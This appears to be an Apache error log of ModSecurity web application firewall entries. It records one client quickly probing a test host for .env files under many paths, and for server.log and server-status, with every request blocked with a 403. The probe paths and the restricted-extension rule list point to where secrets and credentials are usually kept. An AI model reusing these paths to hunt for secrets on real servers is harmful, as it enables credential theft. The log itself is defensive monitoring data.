[Wed Feb 25 06:05:33.910784 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stackato-pkg/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY4wAAAAc&quot;]
[Wed Feb 25 06:05:33.911053 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY4wAAAAc&quot;]
[Wed Feb 25 06:05:33.911240 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY4wAAAAc&quot;]
[Wed Feb 25 06:05:33.949278 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stag/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY5AAAAAc&quot;]
[Wed Feb 25 06:05:33.949545 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY5AAAAAc&quot;]
[Wed Feb 25 06:05:33.949718 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY5AAAAAc&quot;]
[Wed Feb 25 06:05:34.036045 2026] [authz_core:error] [pid 2312879] [client 185.177.72.13:59800] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Wed Feb 25 06:05:34.088208 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibWQAAAAA&quot;]
[Wed Feb 25 06:05:34.088697 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibWQAAAAA&quot;]
[Wed Feb 25 06:05:34.088849 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibWQAAAAA&quot;]
[Wed Feb 25 06:05:34.164444 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibWgAAAAA&quot;]
[Wed Feb 25 06:05:34.164735 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibWgAAAAA&quot;]
[Wed Feb 25 06:05:34.164921 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibWgAAAAA&quot;]
[Wed Feb 25 06:05:34.191156 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibWwAAAAA&quot;]
[Wed Feb 25 06:05:34.191431 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibWwAAAAA&quot;]
[Wed Feb 25 06:05:34.191599 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibWwAAAAA&quot;]
[Wed Feb 25 06:05:34.196568 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY5wAAAAc&quot;]
[Wed Feb 25 06:05:34.196825 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY5wAAAAc&quot;]
[Wed Feb 25 06:05:34.197031 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY5wAAAAc&quot;]
[Wed Feb 25 06:05:34.264799 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY6AAAAAc&quot;]
[Wed Feb 25 06:05:34.265068 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY6AAAAAc&quot;]
[Wed Feb 25 06:05:34.265250 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY6AAAAAc&quot;]
[Wed Feb 25 06:05:34.325422 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/src/persistence/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibXQAAAAA&quot;]
[Wed Feb 25 06:05:34.325700 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibXQAAAAA&quot;]
[Wed Feb 25 06:05:34.325876 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibXQAAAAA&quot;]
[Wed Feb 25 06:05:34.359624 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server_with_db/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibXgAAAAA&quot;]
[Wed Feb 25 06:05:34.359899 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibXgAAAAA&quot;]
[Wed Feb 25 06:05:34.360080 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibXgAAAAA&quot;]
[Wed Feb 25 06:05:34.395546 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY6QAAAAc&quot;]
[Wed Feb 25 06:05:34.395832 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY6QAAAAc&quot;]
[Wed Feb 25 06:05:34.396017 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY6QAAAAc&quot;]
[Wed Feb 25 06:05:34.441948 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-collected/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY6gAAAAc&quot;]
[Wed Feb 25 06:05:34.442190 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY6gAAAAc&quot;]
